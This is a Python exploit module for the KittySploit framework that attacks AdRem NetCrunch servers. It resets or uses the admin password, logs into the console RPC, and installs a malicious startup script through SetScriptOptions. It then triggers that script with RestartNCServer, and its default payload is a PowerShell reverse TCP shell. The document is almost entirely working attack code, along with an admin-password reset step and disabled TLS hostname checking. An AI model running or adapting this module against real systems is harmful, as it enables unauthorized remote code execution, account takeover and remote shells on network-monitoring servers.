AdRem NetCrunch startup script RCE

"""AdRem NetCrunch Startup Script RCE"""
from __future__ import annotations
from kittysploit import *
from lib.protocols.http.http_client import Http_client
import json
import re
import ssl
import subprocess
import sys
import time
import urllib.error
import urllib.request
import os
import ssl
import json
import urllib.request
import urllib.error
import subprocess
import re
import time
import sys

class Module(Exploit, Http_client):
    __info__ = {'name': 'AdRem NetCrunch startup script RCE', 'description': 'RPC LoginEx then INcStartupScript SetScriptOptions + RestartNCServer. Use admin_password or nccli_path on the NetCrunch server to obtain credentials.', 'author': ['KittySploit Team'], 'platform': Platform.WINDOWS, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp', 'platform': Platform.WINDOWS, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['adrem', 'netcrunch', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 5, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/adrem_netcrunch_startup_rce_detect']}}}
    DEFAULT_TARGET = '127.0.0.1:9443'
    DEFAULT_CMD = 'echo NC_FULL_RCE_SUCCESS > C:\\Windows\\Temp\\nc_rce_full.txt'
    NCCLI = 'C:\\Program Files\\AdRem\\NetCrunch\\Server\\16.0.0\\nccli.exe'
    CMD_EXE = 'C:\\Windows\\System32\\cmd.exe'
    MARKER = 'C:\\Windows\\Temp\\nc_rce_full.txt'
    sctx = ssl.create_default_context()
    port = OptPort(9443, 'NetCrunch HTTPS console port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    admin_user = OptString('admin', 'Console admin username', required=False)
    admin_password = OptString('', 'Admin password (or leave empty to use nccli reset)', required=False)
    nccli_path = OptString(NCCLI, 'nccli.exe path for reset-admin-password', required=False)
    restart_wait = OptInteger(35, 'Seconds after RestartNCServer', required=False)

    def make_base(self, target):
        if not target.startswith('http'):
            target = 'https://' + target
        return target.rstrip('/')

    def req(self, method, path, base, headers=None, body=None, timeout=30):
        data = None
        if isinstance(body, (dict, list)):
            data = json.dumps(body).encode()
        elif isinstance(body, str):
            data = body.encode()
        r = urllib.request.Request(base + path, data=data, method=method, headers=dict(headers or {}))
        try:
            with urllib.request.urlopen(r, timeout=timeout, context=self.sctx) as x:
                return (x.status, x.read().decode(errors='replace'))
        except urllib.error.HTTPError as e:
            return (e.code, e.read().decode(errors='replace'))
        except Exception as e:
            return (-1, str(e))

    def rpc(self, sid_gid, api, action, method, base, data=None, timeout=30):
        return self.req('POST', f'/nc/console/rpc?api={api}', base, {'x-sid': sid_gid, 'Content-Type': 'application/json'}, [{'action': action, 'method': method, 'tid': 1, 'data': data or []}], timeout)

    def reset_admin_password(self):
        """Use nccli.exe reset-admin-password to reset the admin password; return the new random password."""
        for attempt in range(6):
            r = subprocess.run(['powershell', '-Command', f"& '{self.NCCLI}' reset-admin-password"], capture_output=True, text=True, timeout=60)
            m = re.search('set to:\\s*(\\S+)', (r.stdout or '') + (r.stderr or ''))
            if m:
                return m.group(1).rstrip('.')
            time.sleep(3)
        return None

    def wait_service_ready(self, base):
        """Wait for the NetCrunch service to be ready (api.json returns 200)."""
        for _ in range(20):
            st, _ = self.req('GET', '/nc/console/api.json', base, {'x-app': 'web'}, timeout=10)
            if st == 200:
                return True
            time.sleep(2)
        return False

    def login(self, base):
        """Authenticated login; return sid_gid."""
        pw = self.reset_admin_password()
        if not pw:
            print('[!] reset-admin-password failed')
            return None
        print(f'[*] admin password reset: {pw}')
        st, body = self.req('GET', '/nc/console/api.json', base, {'x-app': 'web'})
        if st != 200:
            print(f'[!] api.json HTTP {st}')
            return None
        jb = json.loads(body)
        sid_gid = jb['sid']
        print(f'[*] session: {sid_gid}')
        st, resp = self.rpc(sid_gid, 'client.session', 'Security', 'LoginEx', base, ['web', 'admin', pw], timeout=60)
        if 'Token' not in resp:
            print(f'[!] LoginEx failed: {resp[:120]}')
            return None
        print('[+] login succeeded (token acquired, group authenticated)')
        for _ in range(3):
            self.rpc(sid_gid, 'ncsrv', 'INetCrunchServer', 'GetServerSystemVersion', base, timeout=30)
            time.sleep(0.5)
        print('[+] channel ready')
        return sid_gid

    def rce_chain(self, sid_gid, base, cmd_str):
        """RCE chain: SetScriptOptions writes the malicious startup script + RestartNCServer triggers execution."""
        subprocess.run(['cmd', '/c', f'if exist {self.MARKER} del {self.MARKER}'], capture_output=True)
        opts = {'cmd': self.CMD_EXE, 'params': f'/c {cmd_str}', 'wait': True, 'timeout': 30}
        st, resp = self.rpc(sid_gid, 'ncsrv', 'INcStartupScript', 'SetScriptOptions', base, [opts], timeout=60)
        print(f'[*] SetScriptOptions: HTTP {st} {resp[:80]}')
        st, resp = self.rpc(sid_gid, 'ncsrv', 'INcStartupScript', 'GetScriptOptions', base, [], timeout=60)
        print(f'[*] GetScriptOptions: {resp[:140]}')
        st, resp = self.rpc(sid_gid, 'ncsrv', 'INetCrunchServer', 'RestartNCServer', base, [], timeout=120)
        print(f'[*] RestartNCServer: HTTP {st} {resp[:80]}')
        print('[*] waiting 35s for service restart + startup-script execution...')
        time.sleep(35)
        r = subprocess.run(['cmd', '/c', f'if exist {self.MARKER} (echo MARKER_EXISTS&type {self.MARKER}) else (echo no)'], capture_output=True, text=True)
        if 'MARKER_EXISTS' not in r.stdout:
            time.sleep(15)
            r = subprocess.run(['cmd', '/c', f'if exist {self.MARKER} (echo MARKER_EXISTS&type {self.MARKER}) else (echo no)'], capture_output=True, text=True)
        return r.stdout.strip()

    def _base(self) -> str:
        raw = str(getattr(self, 'rhost', None) or getattr(self, 'target', '') or '')
        if hasattr(raw, 'value'):
            raw = raw.value
        if not raw.startswith('http'):
            raw = 'https://' + raw
        return raw.rstrip('/')

    def _http_rpc(self, sid_gid: str, api: str, action: str, method: str, data=None, timeout=60):
        path = f'/nc/console/rpc?api={api}'
        body = [{'action': action, 'method': method, 'tid': 1, 'data': data or []}]
        resp = self.http_request('POST', path, data=json.dumps(body), headers={'x-sid': sid_gid, 'Content-Type': 'application/json'})
        if not resp:
            return (-1, 'rpc failed')
        return (int(resp.status_code or 0), resp.text or '')

    def _resolve_password(self) -> str | None:
        pw = str(self.admin_password or '').strip()
        if pw:
            return pw
        nccli = str(self.nccli_path or self.NCCLI)
        for _ in range(6):
            r = subprocess.run(['powershell', '-Command', f"& '{nccli}' reset-admin-password"], capture_output=True, text=True, timeout=60)
            m = re.search('set to:\\s*(\\S+)', (r.stdout or '') + (r.stderr or ''))
            if m:
                return m.group(1).rstrip('.')
            time.sleep(3)
        return None

    def _login(self) -> str | None:
        base = self._base()
        pw = self._resolve_password()
        if not pw:
            return None
        resp = self.http_request('GET', '/nc/console/api.json', headers={'x-app': 'web'})
        if not resp or int(resp.status_code or 0) != 200:
            return None
        sid_gid = json.loads(resp.text or '{}').get('sid')
        if not sid_gid:
            return None
        code, body = self._http_rpc(sid_gid, 'client.session', 'Security', 'LoginEx', ['web', str(self.admin_user or 'admin'), pw], timeout=60)
        if 'Token' not in body:
            return None
        for _ in range(3):
            self._http_rpc(sid_gid, 'ncsrv', 'INetCrunchServer', 'GetServerSystemVersion', [], 30)
            time.sleep(0.5)
        return sid_gid

    def execute(self, shell: str) -> str:
        sid_gid = self._login()
        if not sid_gid:
            return 'Login failed — set admin_password or run nccli on NetCrunch host'
        opts = {'cmd': self.CMD_EXE, 'params': f'/c {shell}', 'wait': True, 'timeout': 30}
        c1, r1 = self._http_rpc(sid_gid, 'ncsrv', 'INcStartupScript', 'SetScriptOptions', [opts], 60)
        c2, r2 = self._http_rpc(sid_gid, 'ncsrv', 'INetCrunchServer', 'RestartNCServer', [], 120)
        wait = int(self.restart_wait or 35)
        time.sleep(wait)
        return f'SetScriptOptions HTTP {c1} ({r1[:80]!r}); RestartNCServer HTTP {c2}; waited {wait}s — confirm shell via handler'

    def check(self):
        resp = self.http_request('GET', '/nc/console/api.json', headers={'x-app': 'web'})
        if resp and int(resp.status_code or 0) == 200:
            return {'vulnerable': True, 'reason': 'NetCrunch console API reachable', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': 'Console API not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        if not str(self.admin_password or '').strip():
            print_status('No admin_password — will try nccli reset (must run on NetCrunch server)')
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('Startup script RPC → service restart')
        print_info(self.execute(shell))
        self.vulnerable()
        return True
    sctx.check_hostname = False